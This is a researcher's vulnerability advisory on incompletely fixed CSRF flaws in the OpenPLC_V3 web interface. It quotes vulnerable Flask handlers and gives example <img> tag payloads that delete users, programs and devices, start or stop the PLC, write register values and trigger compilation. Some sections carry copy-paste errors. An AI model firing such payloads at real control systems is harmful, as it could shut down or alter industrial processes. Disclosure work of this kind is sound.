Government Advisories
·Shriyans Sudhi

ICSA-25-345-10 - OpenPLC_V3 (Update A)

Overview

I found a few vulnerabilities in OpenPLC_V3 during a casual past-midnight code audit. I reported them to US-CERT (Cybersecurity and Infrastructure Security Agency - CISA).

Recommendations

  • OpenPLC_V3 is end-of-life and no longer receiving updates. Users should migrate to OpenPLC V4
  • If updating to OpenPLC V4 is not possible, users should apply the latest security patches

Vulnerabilities

Technical Details

CVE-2026-28205

More details can be found at /research/cve/CVE-2026-28205.

CVE-2026-35556

More details can be found at /research/cve/CVE-2026-35556.

Incomplete remediation for CVE-2025-13970

Description

Multiple CSRF were identified in OpenPLC_v3 which could potentially cause service disruption.

Affected Project

master branch as of Feb 14th 2026, or at commit hash bb35f6966b3e0258114284e3e6c11d7b5d32de8c

CVSS Info

CVSS Score: 8.0 CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H1 Justification:

  • Attack Vector (AV): Network
    • This attack could be executed over the internet
  • Attack Complexity (AC): High
    • This attack requires significant reconnaissance on the target person before it could be executed
  • Privileges Required (PR): None
    • This attack does not requires an adversary to have any privileges
  • User Interaction (UI): Required
    • This attack requires the victim to visit a webpage
  • Scope (S): Changed
    • This attack affects underlying OT systems
  • Confidentiality (C): None
    • This attack doesn't impact confidentiality of data
  • Integrity (I): High
    • This attack allows an adversary to perform actions like modifying register values of an OT system
  • Availability (A): High
    • This attack allows an adversary to completely shut down the OT systems #### Root Cause Upon re-evaluation of fix(es) for CVE-2025-13970, it was found that the issue has been partially fixed. Some functionalities remain vulnerable to CSRF.
GET /delete-user

Following is the code responsible for handling this endpoint:

@app.route('/delete-user', methods=['GET', 'POST'])
def delete_user():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        user_id = flask.request.args.get('user_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT username FROM Users WHERE user_id = ?", (int(user_id),))
                row = cur.fetchone()
                if (flask_login.current_user.id == row[0]):
                    cur.close()
                    conn.close()
                    return draw_blank_page() + "<h2>Error</h2><p>You cannot delete yourself!<br><br>Use the back-arrow on your browser to return</p></div></div></div></body></html>"
                else:
                    cur = conn.cursor()
                    cur.execute("DELETE FROM Users WHERE user_id = ?", (int(user_id),))
                    conn.commit()
                    cur.close()
                    conn.close()
                    return flask.redirect(flask.url_for('users'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

It does not have any validation for CSRF token. This implies that an adversary can delete a user by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/delete-user?user_id=1">
<img src="http://target/delete-user?user_id=2">
<img src="http://target/delete-user?user_id=3">
<img src="http://target/delete-user?user_id=4">
<img src="http://target/delete-user?user_id=5">
<img src="http://target/delete-user?user_id=6">
<img src="http://target/delete-user?user_id=7">
...
GET /remove-program

Following is the code responsible for handling this endpoint:

@app.route('/remove-program', methods=['GET', 'POST'])
def remove_program():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        prog_id = flask.request.args.get('id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Programs WHERE Prog_ID = ?", (int(prog_id),))
                conn.commit()
                cur.close()
                conn.close()
                return flask.redirect(flask.url_for('programs'))
                
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

It does not have any validation for CSRF token. This implies that an adversary can delete a program by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/remove-program?id=1">
<img src="http://target/remove-program?id=2">
<img src="http://target/remove-program?id=3">
<img src="http://target/remove-program?id=4">
<img src="http://target/remove-program?id=5">
<img src="http://target/remove-program?id=6">
<img src="http://target/remove-program?id=7">
...
GET /delete-device

Following is the code responsible for handling this endpoint:

@app.route('/delete-device', methods=['GET', 'POST'])
def delete_device():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        devid_db = flask.request.args.get('dev_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Slave_dev WHERE dev_id = ?", (int(devid_db),))
                conn.commit()
                cur.close()
                conn.close()
                generate_mbconfig()
                return flask.redirect(flask.url_for('modbus'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

It does not have any validation for CSRF token. This implies that an adversary can delete a device by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/delete-device?dev_id=1">
<img src="http://target/delete-device?dev_id=2">
<img src="http://target/delete-device?dev_id=3">
<img src="http://target/delete-device?dev_id=4">
<img src="http://target/delete-device?dev_id=5">
<img src="http://target/delete-device?dev_id=6">
<img src="http://target/delete-device?dev_id=7">
...
GET /start_plc

Following is the code responsible for handling this endpoint:

@app.route('/start_plc')
def start_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        monitor.stop_monitor()
        openplc_runtime.start_runtime()
        time.sleep(1)
        configure_runtime()
        monitor.cleanup()
        monitor.parse_st(openplc_runtime.project_file)
        return flask.redirect(flask.url_for('dashboard'))

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/start_plc">
GET /stop_plc

Following is the code responsible for handling this endpoint:

@app.route('/stop_plc')
def stop_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        openplc_runtime.stop_runtime()
        time.sleep(1)
        monitor.stop_monitor()
        return flask.redirect(flask.url_for('dashboard'))

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/stop_plc">
GET /point-write

Following is the code responsible for handling this endpoint:

@app.route('/point-write', methods=['GET', 'POST'])
def point_write():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        point_value = flask.request.args.get('value')
        point_address = flask.request.args.get('address')
        monitor.write_value(point_address, int(point_value))
        return ''

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/point-write?address=100&value=1">
...
GET /compile-program

Following is the code responsible for handling this endpoint:

@app.route('/compile-program', methods=['GET', 'POST'])
def compile_program():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        st_file = flask.request.args.get('file')
        
        #load information about the program being compiled into the openplc_runtime object
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT * FROM Programs WHERE File=?", (st_file,))
                row = cur.fetchone()
                openplc_runtime.project_name = str(row[1])
                openplc_runtime.project_description = str(row[2])
                openplc_runtime.project_file = str(row[3])
                cur.close()
                conn.close()
            except Error as e:
                print("error connecting to the database" + str(e))
        else:
            print("error connecting to the database")
        
        delete_persistent_file()
        openplc_runtime.compile_program(st_file)
        
        return draw_compiling_page()

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/compile-program?file=main.st">
...
GET /restore_custom_hardware

Following is the code responsible for handling this endpoint:

def restore_custom_hardware():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        
        #Restore the original custom layer code
        with open('./core/psm/main.original') as f: original_code = f.read()
        with open('./core/psm/main.py', 'w+') as f: f.write(original_code)
        return flask.redirect(flask.url_for('hardware'))

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

<img src="http://target/compile-program?file=main.st">
...

Disclosure Timeline

Date format: YYYY-MM-DD